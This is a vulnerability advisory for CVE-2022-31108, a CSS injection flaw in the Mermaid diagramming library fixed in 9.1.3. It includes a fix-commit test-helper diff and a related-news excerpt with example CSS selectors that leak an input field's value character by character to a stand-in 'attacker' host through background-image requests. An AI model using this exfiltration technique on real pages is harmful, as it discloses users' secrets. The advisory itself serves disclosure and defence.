Headline
CVE-2022-31108: Merge pull request from GHSA-x3vm-38hw-55wf · mermaid-js/mermaid@0ae1bdb
Mermaid is a JavaScript based diagramming and charting tool that uses Markdown-inspired text definitions and a renderer to create and modify complex diagrams. An attacker is able to inject arbitrary CSS into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors. The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value attribute one character at a time. Whenever there is an actual match, an http request will be made by the browser in order to “load” a background image that will let an attacker know what’s the value of the character. This issue may lead to Information Disclosure via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc. This issue has been resolved in version 9.1.3. Users are advised to upgrade. Users unable to upgrade should ensure that user input is adequately escaped before embedding it in CSS blocks.
@@ -70,6 +70,56 @@ export const imgSnapshotTest = (graphStr, _options, api = false, validation) =>
}
};
export const urlSnapshotTest = (url, _options, api = false, validation) => {
cy.log(_options);
const options = Object.assign(_options);
if (!options.fontFamily) {
options.fontFamily = 'courier’;
}
if (!options.sequence) {
options.sequence = {};
}
if (!options.sequence || (options.sequence && !options.sequence.actorFontFamily)) {
options.sequence.actorFontFamily = 'courier’;
}
if (options.sequence && !options.sequence.noteFontFamily) {
options.sequence.noteFontFamily = 'courier’;
}
options.sequence.actorFontFamily = 'courier’;
options.sequence.noteFontFamily = 'courier’;
options.sequence.messageFontFamily = 'courier’;
if (options.sequence && !options.sequence.actorFontFamily) {
options.sequence.actorFontFamily = 'courier’;
}
if (!options.fontSize) {
options.fontSize = '16px’;
}
const useAppli = Cypress.env(‘useAppli’);
const branch = Cypress.env(‘codeBranch’);
cy.log('Hello ' + useAppli ? ‘Appli’ : ‘image-snapshot’);
const name = (options.name || cy.state(‘runnable’).fullTitle()).replace(/\s+/g, '-');
if (useAppli) {
cy.eyesOpen({
appName: 'Mermaid-' + branch,
testName: name,
batchName: branch,
});
}
cy.visit(url);
if (validation) cy.get(‘svg’).should(validation);
cy.get(‘body’);
// Default name to test title
if (useAppli) {
cy.eyesCheckWindow(‘Click!’);
cy.eyesClose();
} else {
cy.matchImageSnapshot(name);
}
};
export const renderGraph = (graphStr, options, api) => {
const url = mermaidUrl(graphStr, options, api);
Related news
An attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors. The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character. ```css input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); } ... input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); } ... input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); } ... input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); } ... input[name=secret][value^=goose] { background-image: url(http:/...